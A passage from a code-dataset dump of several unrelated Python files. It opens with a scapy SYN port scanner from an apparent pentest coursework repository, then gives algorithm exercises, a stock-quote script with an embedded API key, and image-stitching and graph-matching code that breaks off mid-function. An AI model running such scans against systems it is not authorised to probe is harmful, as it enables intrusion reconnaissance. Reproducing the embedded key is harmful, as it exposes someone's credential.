[Svare]\")\n\n\tparser.add_argument('-i', '--host', default = None, type=str, required=True, help='Host to scan.', dest='host'),\n\tparser.add_argument('-p', '--port', default = '1-1000', type=str, required=False,\n\t\t\t\t\t\t\thelp='''Port/s to scan, yo can specify a single port, multiple ports separated by \\',\\' or\n\t\t\t\t\t\t\t\t\ta range with \\'-\\', default is range 1-1000.''', dest='ports')\n\n\treturn parser.parse_args()\n\nif __name__ == '__main__':\n\n\topts = arg_parse() # Parse command line args.\n\n\t# Parse ports.\n\n\tif '-' in opts.ports:\n\t\tports = range(int(opts.ports.split('-')[0]), int(opts.ports.split('-')[1]) + 1)\n\telif ',' in opts.ports:\n\t\tports = list(map(lambda x: int(x), opts.ports.split(',')))\n\telse:\n\t\tports = [int(opts.ports)]\n\n\tconf.verb = 0 # Turn off scapy's verbose mode.\n\t \n\tprint('\\nScanning {0} ports...\\n'.format(opts.host))\n\t\n\tfor port in ports:\n\n\t\tsource_port = RandShort() # Set a random source port.\n\n\t\t# Build a TCP package with a specific host and sync flag.\n\t\tpackage = IP(dst = opts.host)/TCP(sport = source_port, dport = port, flags = \"S\")\n\n\t\tresponse = sr1(package, timeout = 0.1) # Send package\n\n\t\tif(response is None):\n\n\t\t\tpass\n\n\t\t# If we recieve a TCP response with Sync/Ack flags, port is up\n\t\telif(response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12): \n\n\t\t\t# Cut the connection sending a package with reset flag. \n\n\t\t\tp = IP(dst = opts.host)/TCP(sport = source_port, dport = port, flags = \"R\")\n\t\t\trst = sr(p, timeout = 1)\n\n\t\t\t# Try to get info about the service running on that port\n\n\t\t\ttry:\n\t\t\t\tservice = socket.getservbyport(port)\n\t\t\texcept:\n\t\t\t\tservice = \"¿?\"\n\n\t\t\tprint(\"[OPEN]\", port,\" ->\",service)\n\n\tprint()","repo_name":"Svare/Pentest","sub_path":"Tareas/escaner_scapy/port_scanner.py","file_name":"port_scanner.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"37881680678","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def partition(self, head: Optional[ListNode], x: int) -> Optional[ListNode]:\n\n left, right = ListNode(), ListNode()\n left_tail, right_tail = left, right\n curr = head\n \n while curr:\n # set the value of the respective tail\n # move the respective tail\n if curr.val < x:\n left_tail.next = curr\n left_tail = left_tail.next\n else:\n right_tail.next = curr\n right_tail = right_tail.next\n curr = curr.next\n \n # left tail points at right head(.next since it's dummy)\n left_tail.next = right.next\n # right tail points at None since it's now the end node\n right_tail.next = None\n \n # return left.next since it's dummy\n return left.next\n \n \n \n ","repo_name":"Aklile-Yilma/A2SV-Competitive-Programming","sub_path":"0086-partition-list/0086-partition-list.py","file_name":"0086-partition-list.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"43602051577","text":"import netron, keyboard, threading\nfrom Tools.Folder import showFilesInDirectory\n\n\ndef _stopNetron(port):\n while True:\n if keyboard.is_pressed('esc'): \n netron.stop(address=port) \n break\n\ndef _viewNetron(name_file, port):\n print(\"Is pressed ESC stop view\")\n netron.start(file=name_file, address=port) \n\n\ndef viewArchitectureAI(path, port=8080, file_format_extension='.tflite'):\n # Get all name file in Directory\n files = showFilesInDirectory(path)\n \n # Check file exits\n if path is None: return None \n \n # Check files is folder ?\n if files.__class__ is list:\n \n # Filtered all file .tflite\n filtered_files = [file for file in files if file[0].endswith(file_format_extension)]\n \n if len(filtered_files) > 1:\n # View index all file\n for index, (file, path) in enumerate(filtered_files):\n print(f\"{index + 1}: {file}\")\n \n # Select the view model\n while True:\n print(f\"Select the index of file to view:\")\n index_input = int(input(\"Index: \"))\n index_input -= 1\n \n if 0 <= index_input < len(filtered_files):\n name_file = filtered_files[index_input][1]\n break\n else:\n print('Error index, please re-enter')\n else:\n name_file = filtered_files[0][1]\n else:\n name_file = path \n \n # View\n view_thread = threading.Thread(target=_viewNetron, args=(name_file, port, ))\n stop_thread = threading.Thread(target=_stopNetron, args=(port,))\n \n # Wait\n stop_thread.start()\n view_thread.start()\n view_thread.join()\n stop_thread.join()\n \n \n ","repo_name":"phn1712002/PriceRecognize_VGG16_Viet","sub_path":"Tools/View.py","file_name":"View.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4558471689","text":"from Stack import *\n\n\ndef dailyTemperature(temps):\n \"\"\"\n GOOD TO REVIEW\n\n Given a list of daily temperatures T, return a list such that, for each day in \n the input, tells you how many days you would have to wait until a warmer \n temperature. If there is no future day for which this is possible, put 0 instead.\n\n For example, given the list of temperatures T = [73, 74, 75, 71, 69, 72, 76, 73], \n your output should be [1, 1, 4, 2, 1, 1, 0, 0].\n\n Note: The length of temperatures will be in the range [1, 30000]. Each \n temperature will be an integer in the range [30, 100].\n\n\n Idea: \n - Traverse list from back\n - Maintain the following invariant: Every NEW element on the stack will be \n less than or equal to all the later elements (s[-1] < s[-2] < s[-3]), \n where s[-1] represents the top of the stack\n - If there are elements in the stack, then compare the current element to\n the topmost element. Keep popping until the current element in the temps\n array is less than or equal to the top of the array\n - When we stop popping, there are two conditions - either there are no more\n elements left to pop, or the top element of the stack is greater than the \n current element in the temps array. This will also be the next possible \n warmer day, and the number of days between them is the index of the element\n at the top of the stack, and the current element in the array.\n - If there is no element in the stack, then there can be no potential warmer\n day\n\n \"\"\"\n s = Stack()\n p = len(temps) - 1\n res = [0] * len(temps)\n while p >= 0:\n currTemp = temps[p]\n\n while not s.isEmpty() and s.peek()[0] < currTemp:\n s.pop()\n\n if not s.isEmpty():\n res[p] = s.peek()[1] - p\n\n s.push((temps[p], p))\n p -= 1\n\n return res\n\n\ndef dailyTemperatureReversed(temps):\n \"\"\"\n Same as above, except with forward traversal of the list\n \"\"\"\n\n s = Stack()\n res = [0] * len(temps)\n p = 0\n while p < len(temps):\n currTemp = temps[p]\n while not s.isEmpty() and s.peek()[0] <= currTemp:\n _, index = s.pop()\n res[index] = p - index\n\n s.push((temps[p], p))\n p += 1\n\n return res\n\n\ndef nextGreaterNumber(nums1, nums2):\n \"\"\"\n You are given two arrays (without duplicates) nums1 and nums2 where nums1’s \n elements are subset of nums2. Find all the next greater numbers for nums1's \n elements in the corresponding places of nums2.\n\n The Next Greater Number of a number x in nums1 is the first greater number to \n its right in nums2. If it does not exist, output -1 for this number.\n\n Input: nums1 = [4,1,2], nums2 = [1,3,4,2].\n Output: [-1,3,-1]\n\n Input: nums1 = [2,4], nums2 = [1,2,3,4].\n Output: [3,-1]\n \"\"\"\n nxt = {}\n stack = []\n\n p = len(nums2) - 1\n while p >= 0:\n\n while stack and stack[-1] <= nums2[p]:\n stack.pop()\n\n if stack:\n nxt[nums2[p]] = stack[-1]\n else:\n nxt[nums2[p]] = -1\n\n stack.append(nums2[p])\n p -= 1\n\n res = []\n for num in nums1:\n res.append(nxt[num])\n\n return res\n","repo_name":"AnshG714/CodingPractice","sub_path":"Stacks/dailyTemperature.py","file_name":"dailyTemperature.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"39832557351","text":"try:\n temperature_outside=int(input(\"enter temperature outside\"))\n if temperature_outside>=20 and temperature_outside<=40:\n print(\"its a warm day no need to carry a sweater\" )\n print(\"you can go outside\")\n elif temperature_outside<=19 and temperature_outside>=10:\n print(\"its a cold day and we have a probability of it raining\")\n sky_status=input(\"is it cloudy?....use or \")\n if sky_status==\"y\":\n check_umbrella=input(\"can i find my umbrella ?use or \")\n if check_umbrella==\"y\":\n print(\"YOU CAN PUT ON A SWEATER AND CARRY YOUR UMBRELLA!!!\")\n else:\n print(\"PUT ON A SWEATER AND A RAIN COAT!!! PREPARE COZ IT MIGHT RAIN\")\n else:\n print(\"PUT ON A SWEATER AND GO OUTSIDE THE SKY IS CLEAR\")\n else:\n print(\"DUE TO CLIMATE CHANGE YOUR WEATHER IS MESSED UP YOU MAY BE FORCED TO LIVE IN BUNKERS LATER PLEASE PLANT A TREE AND REDUCE CARBON EMISSINS!!!!\")\n\n \n\n\n\nexcept ValueError:\n print(\"please enter valid temperature in degrees\")\n \n","repo_name":"mwangaumuruga/PYTHON-SYNTAX","sub_path":"9 BASIC PYTHON PROGRAM(combining some of the skills learnt).py","file_name":"9 BASIC PYTHON PROGRAM(combining some of the skills learnt).py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"38781203138","text":"# -*- coding: utf-8 -*-\n\ndef find_max_count(nums):\n prev = None\n max_cnt = 0\n cnt = 0\n arr = []\n for num in nums:\n if num != prev:\n cnt = 0\n cnt += 1\n if cnt > max_cnt:\n max_cnt = cnt\n arr = []\n arr.append(num)\n elif cnt == max_cnt:\n arr.append(num)\n prev = num\n\n print(arr)\n return arr\n\n\ndef slide_window(nums):\n n = len(nums)\n i = 0\n max_cnt = 0\n cnt = 0\n arr = []\n for j in range(n):\n cnt += 1\n if nums[j] != nums[i]:\n cnt = 1\n i = j\n if cnt > max_cnt:\n max_cnt = cnt\n arr = []\n arr.append(nums[j])\n elif cnt == max_cnt:\n arr.append(nums[j])\n\n print(arr)\n return arr\n\n\nif __name__ == \"__main__\":\n nums = [1,2,2,3,3,4,4]\n find_max_count(nums)\n slide_window(nums)","repo_name":"turbobin/LeetCode","sub_path":"滑动窗口/slide_window.py","file_name":"slide_window.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"40618069638","text":"import cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport os\r\nimport networkx as nx\r\nfrom networkx.algorithms import tree\r\nimport queue\r\n\r\n#1 m 2 and 4 are working and keep sets\r\n\r\nDEBUG = False\r\nSHOW_IMAGE = False\r\nSIZE = (300,200)#SIZE has width * height \r\n# DETECTOR = 'sift'\r\nSHOWTIME = 1000\r\n\r\nbase_image_multiplier = 2\r\n\r\ndef trim(frame):\r\n #crop top\r\n if not np.sum(frame[0]):\r\n return trim(frame[1:])\r\n #crop top\r\n if not np.sum(frame[-1]):\r\n return trim(frame[:-2])\r\n #crop top\r\n if not np.sum(frame[:,0]):\r\n return trim(frame[:,1:])\r\n #crop top\r\n if not np.sum(frame[:,-1]):\r\n return trim(frame[:,:-2])\r\n return frame\r\n\r\n\r\ndef show_image(img, showtime = 1000):\r\n cv2.imshow('img',img)\r\n cv2.waitKey(showtime)\r\n cv2.destroyAllWindows()\r\n\r\n\r\ndef read_images(img_dir, size = SIZE, grey_scale = False):\r\n '''Read images from the directory and then read the images'''\r\n img_list = []\r\n for files in os.listdir(img_dir):\r\n if(files[-4:]!='.jpg'):\r\n continue\r\n img_list.append(img_dir+'/'+ files)\r\n if DEBUG:\r\n print(img_list)\r\n\r\n images_colour = []\r\n images_grey = []\r\n for image_name in img_list:\r\n img_c = cv2.imread(image_name)\r\n img_c = cv2.resize(img_c, size)\r\n images_colour.append(img_c)\r\n if DEBUG:\r\n print( img_c.shape)\r\n show_image(img_c)\r\n if grey_scale:\r\n img_g = cv2.cvtColor(img_c,cv2.COLOR_BGR2GRAY)\r\n images_grey.append(img_g)\r\n if DEBUG: \r\n print(len(images_grey))\r\n return (img_list, images_colour, images_grey)\r\n\r\ndef find_keypoints_features(list_of_images, name_of_descriptor):\r\n if name_of_descriptor == 'sift':\r\n descriptor = cv2.xfeatures2d.SIFT_create()\r\n elif name_of_descriptor == 'surf':\r\n descriptor = cv2.xfeatures2d.SURF_create()\r\n elif name_of_descriptor == 'brisk':\r\n descriptor = cv2.BRISK_create()\r\n elif name_of_descriptor == 'akaze':\r\n descriptor = cv2.BRISK_create()\r\n elif name_of_descriptor == 'orb':\r\n descriptor = cv2.ORB_create()\r\n kps = []\r\n# print(\"kps_shape\", kps.shape)\r\n features = []\r\n# print(\"features_shape\", features.shape)\r\n for i, image in enumerate(list_of_images):\r\n (kps_, features_) = descriptor.detectAndCompute(list_of_images[i], None)\r\n kps.append(kps_)\r\n features.append(features_)\r\n return (kps, features)\r\n\r\n\r\ndef show_draw_keypoints(image_list, keypoints_list):\r\n '''It contains list of keypoints for each image computed by one of the descriptors'''\r\n for i, kps in enumerate(keypoints_list):\r\n\r\n cv2.imshow('original_image_left_keypoints'+str(i),cv2.drawKeypoints(image_list[i],kps,None))\r\n cv2.waitKey(SHOWTIME)\r\n cv2.destroyAllWindows()\r\n\r\ndef find_matches_for_image_list(img_names, img_list, descriptors):\r\n G = nx.Graph()\r\n FLANN_INDEX_KDTREE = 0\r\n index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\r\n search_params = dict(checks = 50)\r\n good_distance = 0.65\r\n flann = cv2.FlannBasedMatcher(index_params, search_params)\r\n matchings = []\r\n# make a function which tells that we have some error\r\n for i, des1 in enumerate(descriptors):\r\n for j , des2 in enumerate(descriptors):\r\n if(j>i):\r\n print(i,j)\r\n matches = flann.knnMatch(des1, des2 ,k=2)\r\n good = []\r\n for m,n in matches:\r\n if m.distance < good_distance*n.distance:\r\n good.append(m)\r\n print(\"leng of good mathces {} {} = \".format(img_names[i], img_names[j]) , str(len(good)))\r\n\r\n G.add_edge(i, j , weight = len(good))\r\n matching_list = [img_names[i], img_names[j], len(good)]\r\n matchings.append(matching_list)\r\n matchings.sort(key =lambda x: x[2], reverse = True)\r\n print(matchings)\r\n if DEBUG:\r\n elarge = [(u, v) for (u, v, d) in G.edges(data=True) if d['weight'] > 10]\r\n esmall = [(u, v) for (u, v, d) in G.edges(data=True) if d['weight'] <= 10]\r\n pos = nx.spring_layout(G) # positions for all nodes\r\n\r\n # nodes\r\n nx.draw_networkx_nodes(G, pos, node_size=700)\r\n\r\n # edges\r\n nx.draw_networkx_edges(G, pos, edgelist=elarge,\r\n width=6)\r\n nx.draw_networkx_edges(G, pos, edgelist=esmall,\r\n width=6, alpha=0.5, edge_color='b', style='dashed')\r\n\r\n labels = nx.get_edge_attributes(G,'weight')\r\n nx.draw_networkx_edge_labels(G,pos,edge_labels=labels)\r\n # labels\r\n nx.draw_networkx_labels(G, pos, font_size=20, font_family='sans-serif')\r\n plt.axis('off')\r\n plt.show()\r\n mst = tree.maximum_spanning_edges(G, algorithm='kruskal', data=False)\r\n edgelist = list(mst)\r\n sorted(sorted(e) for e in edgelist)\r\n print(edgelist)\r\n node_frequency = {}\r\n for u, v in edgelist:\r\n if(u not in node_frequency.keys()):\r\n node_frequency[u]=1\r\n else:\r\n node_frequency[u] +=1\r\n if(v not in node_frequency.keys()):\r\n node_frequency[v] = 1\r\n else:\r\n node_frequency[v] +=1\r\n print(node_frequency)\r\n # print()\r\n image_index_with_most_freq = max(node_frequency.keys(), key=(lambda key: node_frequency[key]))\r\n\r\n return edgelist, image_index_with_most_freq\r\n\r\n\r\ndef find_max_width_height(img_list,frequent_id, base_image_multiplier = 1, size = SIZE):\r\n height = 0\r\n width = 0\r\n for i, image in enumerate(img_list):\r\n\r\n height += image.shape[0]\r\n width += image.shape[1]\r\n print(\"height = {} and width = {}\".format(height, width))\r\n\r\n max_height = int(base_image_multiplier*height )\r\n max_width =int( base_image_multiplier* width )\r\n img = np.zeros([max_height, max_width, 3],dtype=np.uint8)\r\n img.fill(0) # or img[:] = 255\r\n start_filling_x = max_width//2 - size[0]//2\r\n start_filling_y = max_height//2 - size[1]//2\r\n print(start_filling_x, start_filling_y)\r\n\r\n print(\"shape of image is {} and max width and height is {} {} and start_filling_x and start_filling_y is {} {} \".format((max_width, max_height), max_width, max_height, start_filling_x, start_filling_y))\r\n img[start_filling_y:start_filling_y+size[1], start_filling_x:start_filling_x+size[0]] = img_list[frequent_id]\r\n print(\"along y \",start_filling_y,start_filling_y+size[1],\"along x \" , start_filling_x,start_filling_x+size[0])\r\n show_image(cv2.resize(img,(1080, 720)), 2000)\r\n # show_image(img, 0)\r\n return img\r\n\r\n\r\ndef blending (img1, img2, alpha = 0.5):\r\n # master_img = cv2.bitwise_or(img1, img2)\r\n master_img = np.zeros(img1.shape, np.uint8)\r\n for i in range(img1.shape[0]):\r\n if(np.sum(img1[i,:,:])==0 and np.sum(img2[i,:,:])==0):\r\n continue\r\n for j in range(img1.shape[1]):\r\n if(np.sum(img1[i,j,:])==0 and np.sum(img2[i, j, :])==0):\r\n master_img[i,j,:] = img1[i,j,:]\r\n elif (np.sum(img1[i,j,:])==0 and np.sum(img2[i, j, :])>0):\r\n master_img[i,j,:] = img2[i,j,:]\r\n elif (np.sum(img1[i,j,:])>0 and np.sum(img2[i, j, :])==0):\r\n master_img[i,j,:] = img1[i,j,:]\r\n else:\r\n master_img[i,j,:] = alpha*img1[i,j,:]+(1-alpha)*img2[i,j,:]\r\n\r\n return master_img\r\n\r\n\r\n\r\n\r\ndef create_panorama(images_coloured, frequent_id, edgelist, master_img, descriptor = \"sift\", good_distance = 0.6):\r\n Edges = queue.Queue(len(edgelist))\r\n for edge in edgelist:\r\n Edges.put(edge)\r\n done_image = [frequent_id]\r\n while(not Edges.empty()):\r\n (u,v) = Edges.get()\r\n if ((u in done_image and v not in done_image) or (v in done_image and u not in done_image)):\r\n if(u in done_image):\r\n done_image.append(v)\r\n img1 = images_coloured[v]\r\n print(v)\r\n else:\r\n done_image.append(u)\r\n img1 = images_coloured[u]\r\n print(u)\r\n\r\n img2 = master_img\r\n kps, features = find_keypoints_features([img1, img2], descriptor)\r\n\r\n FLANN_INDEX_KDTREE = 0\r\n index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\r\n search_params = dict(checks = 50)\r\n # good_distance = 0.60\r\n flann = cv2.FlannBasedMatcher(index_params, search_params)\r\n matches = flann.knnMatch(features[0], features[1] ,k=2)\r\n good = []\r\n for m,n in matches:\r\n if m.distance < good_distance*n.distance:\r\n good.append(m)\r\n\r\n print(\"good_points = \", len(good))\r\n src_pts = np.float32([ kps[0][m.queryIdx].pt for m in good ]).reshape(-1,1,2)\r\n dst_pts = np.float32([ kps[1][m.trainIdx].pt for m in good ]).reshape(-1,1,2)\r\n\r\n M, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC,5.0)\r\n matchesMask = mask.ravel().tolist() \r\n print(M)\r\n\r\n dst = cv2.warpPerspective(img1,M,(img2.shape[1], img2.shape[0]))\r\n show_image(cv2.resize(dst, (720, 480)), SHOWTIME)\r\n print(dst.shape)\r\n # have to make a mask and then do bitwise opeation \r\n # master_img = cv2.addWeighted(dst,0.5,img2,0.5,0).astype('uint8') \r\n\r\n # master_img = cv2.bitwise_or(img2, dst)\r\n master_img = blending(img2, dst)\r\n show_image(cv2.resize(master_img,(1080, 720)), SHOWTIME) \r\n else:\r\n Edges.put((u,v))\r\n\r\n show_image(trim(cv2.resize(master_img,(1080, 720))), 5*SHOWTIME)\r\n return trim(cv2.resize(master_img,(1080, 720)))\r\n\r\n\r\n#**********************************************TRY *******************************************************\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"akshaypansari/Image-Stitching","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":9942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"146680696","text":"from motorsykkel import Motorsykkel\n\ndef hovedprogram():\n sykkel1 = Motorsykkel(\"Honda\", \"BS1234\", 0)\n sykkel2 = Motorsykkel(\"Ducati\", \"BS4321\", 0)\n sykkel3 = Motorsykkel(\"BMW\", \"BS6789\", 0)\n\n sykkel1.skrivUt()\n sykkel2.skrivUt()\n sykkel3.skrivUt()\n\n sykkel3.kjor(10)\n\n print(sykkel3.hentKilometerstand())\n\nhovedprogram()","repo_name":"chribjel/GL-IN1000-H19","sub_path":"Uke08/testMotorsykkel.py","file_name":"testMotorsykkel.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34529224957","text":"#!/usr/bin/python3\r\nimport urllib.request,json\r\n\r\ndef getStockData(stockSymbol):\r\n url = 'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol='\r\n apikey = '&apikey=GUV66RNA99LL56XW'\r\n fullUrl = url+stockSymbol+apikey\r\n connection = urllib.request.urlopen(fullUrl)\r\n responseString = connection.read().decode()\r\n dictionary = json.loads(responseString)\r\n\r\n print (responseString)\r\n return dictionary\r\n\r\ndef main():\r\n file = open('japi.out','w')\r\n while True:\r\n stockSymbol = input(\"Enter Stock Symbol or quit to exit: \").upper()\r\n if stockSymbol != 'QUIT':\r\n stockInfo = getStockData(stockSymbol)\r\n stockPrice = stockInfo['Global Quote']['05. price']\r\n stockPrice = float(stockPrice)\r\n output = 'The current price of '+stockSymbol+' is: '+'${:,.2f}'.format(stockPrice)+'\\n'\r\n\r\n file.write(output)\r\n\r\n else:\r\n print('Stock Quotes retrieved successfully!')\r\n print('Goodbye!')\r\n break\r\nmain()\r\n","repo_name":"ev12/japigit_0","sub_path":"japi.py","file_name":"japi.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"21587621599","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport sys\nimport csv\nimport math\nimport argparse\nimport pathlib\nfrom collections import defaultdict\n\nNDIGITS = 5\n\ndef linear_score(scores, cycle):\n csize = len(cycle)\n for node in cycle:\n scores[node] += 1.0/csize\n\n\ndef square_score(scores, cycle):\n csize = len(cycle)\n for node in cycle:\n scores[node] += 1.0/(csize*csize)\n\n\ndef cube_score(scores, cycle):\n csize = len(cycle)\n for node in cycle:\n scores[node] += math.pow(csize, -3)\n\n\ndef nlogn_score(scores, cycle):\n csize = len(cycle)\n for node in cycle:\n scores[node] += 1.0/(csize*math.log(csize))\n\n\ndef expe_score(scores, cycle):\n csize = len(cycle)\n for node in cycle:\n scores[node] += math.exp(-csize)\n\n\ndef exp10_score(scores, cycle):\n csize = len(cycle)\n for node in cycle:\n scores[node] += math.pow(10, -csize)\n\n\nSCORING_FUNCTIONS = {\n'linear': linear_score,\t\t# 1/10^n\n'square': square_score,\t\t# 1/n^2\n'cube': cube_score,\t\t\t# 1/n^3\n'nlogn': nlogn_score,\t\t# 1/n*log(n)\n'expe': expe_score,\t\t\t# 1/(e^n)\n'exp10': exp10_score \t\t# 1(10^n)\n}\n\n\n# Processing non-UTF-8 Posix filenames using Python pathlib?\n# https://stackoverflow.com/a/45724695/2377454\ndef safe_path(path: pathlib.Path) -> pathlib.Path:\n encoded_path = path.as_posix().encode('utf-8')\n return pathlib.Path(os.fsdecode(encoded_path))\n\n\nif __name__ == '__main__':\n desc = 'Assign score to pageloop cyles.'\n parser = argparse.ArgumentParser(description=desc)\n\n parser.add_argument('FILE',\n type=pathlib.Path,\n help='Input file (w/ pageloop cycles).')\n parser.add_argument('-k', '--maxloop',\n type=int,\n dest='K',\n help='Limit cycles to this length (K) '\n '[default: No limit].')\n parser.add_argument('-o', '--output',\n type=pathlib.Path,\n help='output file name [default: stdout].')\n parser.add_argument('-f', '--scoring-function',\n choices=list(SCORING_FUNCTIONS.keys()),\n default='linear',\n help='Scoring function [default: linear]')\n\n args = parser.parse_args()\n\n infile = args.FILE\n output = args.output\n K = args.K\n scoring_function = SCORING_FUNCTIONS[args.scoring_function]\n\n scores = defaultdict(float)\n with safe_path(infile).open('r', encoding='UTF-8') as infp:\n reader = csv.reader(infp, delimiter=' ')\n\n for cycle in reader:\n csize = len(cycle)\n if K is not None and csize > K: continue\n\n cycle = [int(node) for node in cycle]\n\n scoring_function(scores, cycle)\n\n outfile = None\n if output is None:\n outfile = sys.stdout\n else:\n outfile = safe_path(output).open('w+', encoding='UTF-8')\n\n for nid, score in sorted(scores.items()):\n rounded_score = round(score, NDIGITS)\n outfile.write(\"score({}): {}\\n\".format(nid, rounded_score))\n\n exit(0)\n","repo_name":"CycleRank/cyclerank-dev","sub_path":"utils/compute_scores.py","file_name":"compute_scores.py","file_ext":"py","file_size_in_byte":3119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"21665222718","text":"import random\nfrom copy import deepcopy\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport glob\nimport imageio\nimport os\nimport cv2\nimport numpy as np\n\n\nclass FindMaximumMatching:\n def __init__(self, edges, vertices):\n self.graph = nx.Graph()\n self.edges = edges\n self.vertices = set(vertices)\n self.matching = []\n self.saturated_vertices = set()\n self.separate = False\n self.graph.add_nodes_from(self.vertices)\n self.graph.add_edges_from(self.edges)\n self.pos = nx.spring_layout(self.graph)\n self.x = 0\n self.images = []\n self.draw_graph()\n\n def draw_graph(self, augmenting_path=None):\n\n nx.draw(self.graph, self.pos, with_labels=True, font_weight='bold', node_size=1000, node_color='#efc20e', width=4,\n edge_color='#82807b', alpha=0.8, font_size=16)\n temp = []\n if augmenting_path:\n for edge in augmenting_path:\n temp.append(tuple(edge))\n nx.draw_networkx_edges(self.graph, self.pos,\n edgelist=temp,\n width=8, alpha=0.5, edge_color='r')\n\n for edge in self.matching:\n temp.append(tuple(edge))\n nx.draw_networkx_edges(self.graph, self.pos,\n edgelist=temp,\n width=8, alpha=0.5, edge_color='b')\n nx.draw_networkx_nodes(self.graph, self.pos, nodelist=list(self.saturated_vertices), node_color='#207c36',\n node_size=1000, alpha=0.8)\n\n string = 'Matching Number: ' + str(len(self.matching))\n plt.axis('off')\n plt.text(-1, 1, string)\n\n plt.savefig('img{}.png'.format(self.x), dpi=120, bbox_inches='tight')\n self.x = self.x + 1\n plt.close()\n\n def find_maximum_matching(self):\n print('matching', self.matching)\n fake_matching = []\n useless_edges = set()\n reveiw_augmenting_path = False\n i = 0\n while True:\n print('--------------', i, '--------------')\n i = i + 1\n unsaturated = self.vertices.difference(self.saturated_vertices)\n if reveiw_augmenting_path:\n unsaturated = unsaturated.difference(useless_edges)\n\n if len(unsaturated) <= 1:\n print('yaaay')\n return\n if reveiw_augmenting_path:\n print('reveiwwwww')\n start = unsaturated.pop()\n for finish in unsaturated:\n path = self.bfs_find_path_between(start, finish)\n print('pathhhh', path)\n if path:\n if (len(path) - 1) % 2 is not 0:\n unsaturated.remove(finish)\n augmenting_vertices = self.dfs(depth=len(path) - 1, vertices=deepcopy(self.vertices),\n v=start, is_matching=False, fake_matching=None,\n finish=finish)\n print('augmenting_vertices', augmenting_vertices)\n self.saturated_vertices = self.saturated_vertices.union(augmenting_vertices)\n print('saturated', self.saturated_vertices)\n augmenting_path = []\n for j in range(0, len(augmenting_vertices) - 1):\n augmenting_path.append({augmenting_vertices[j], augmenting_vertices[j + 1]})\n print(augmenting_path)\n self.draw_graph(augmenting_path)\n\n for edge in augmenting_path:\n if edge in self.matching:\n self.matching.remove(edge)\n else:\n self.matching.append(edge)\n print('matching', self.matching)\n self.draw_graph()\n\n break\n else:\n useless_edges.add(start)\n\n else:\n if not self.separate:\n augmenting_vertices = self.find_augmenting_path()\n if augmenting_vertices:\n print('augmenting_vertices', augmenting_vertices)\n self.saturated_vertices = self.saturated_vertices.union(augmenting_vertices)\n print('saturated', self.saturated_vertices)\n augmenting_path = []\n for j in range(0, len(augmenting_vertices) - 1):\n augmenting_path.append({augmenting_vertices[j], augmenting_vertices[j + 1]})\n print(augmenting_path)\n self.draw_graph(augmenting_path)\n self.matching = [edge for edge in augmenting_path if edge not in self.matching]\n print('matching', self.matching)\n self.draw_graph()\n else:\n self.separate = True\n fake_matching = []\n print('SEPERATEEEEED')\n else:\n print('fake matching', fake_matching)\n augmenting_vertices = self.find_augmenting_path(fake_matching)\n print(augmenting_vertices)\n if augmenting_vertices == 'FINISH':\n return\n if augmenting_vertices is not None:\n print('augmenting_vertices', augmenting_vertices)\n self.saturated_vertices = self.saturated_vertices.union(augmenting_vertices)\n print('saturated', self.saturated_vertices)\n augmenting_path = []\n for j in range(0, len(augmenting_vertices) - 1):\n augmenting_path.append({augmenting_vertices[j], augmenting_vertices[j + 1]})\n print(augmenting_path)\n self.draw_graph(augmenting_path)\n for edge in augmenting_path:\n if edge in self.matching:\n self.matching.remove(edge)\n else:\n self.matching.append(edge)\n\n print('matching', self.matching)\n self.draw_graph()\n fake_matching = [edge for edge in augmenting_path if edge not in fake_matching]\n print('fake matching ', fake_matching)\n else:\n if len(fake_matching) is 0:\n # we cannot find a path with these vertices.\n reveiw_augmenting_path = True\n else:\n fake_matching = []\n\n def find_augmenting_path(self, fake_matching=None, check_path=False):\n if len(self.matching) is 0:\n v1, v2 = random.choice(self.edges)\n path = [v1, v2]\n return path\n\n unsaturated = self.vertices.difference(self.saturated_vertices)\n print('unsaturated list', unsaturated)\n if fake_matching is None:\n for v in unsaturated:\n vertices_copy = deepcopy(self.vertices)\n print(\"unsaturated \", v)\n depth = len(self.matching) * 2 + 1\n path = self.dfs(depth, vertices_copy, v, False)\n if path:\n return path\n else:\n temp_vertices = unsaturated\n for edge in fake_matching:\n v1, v2 = edge\n temp_vertices.add(v1)\n temp_vertices.add(v2)\n\n for v in unsaturated:\n vertices_copy = deepcopy(temp_vertices)\n print(\"unsaturated \", v)\n depth = len(fake_matching) * 2 + 1\n path = self.dfs(depth, vertices_copy, v, False, fake_matching)\n if path:\n return path\n\n def bfs_find_path_between(self, start, finish):\n print(start, finish)\n queue = [[start]]\n visited = []\n while len(queue):\n path = queue.pop(0)\n node = 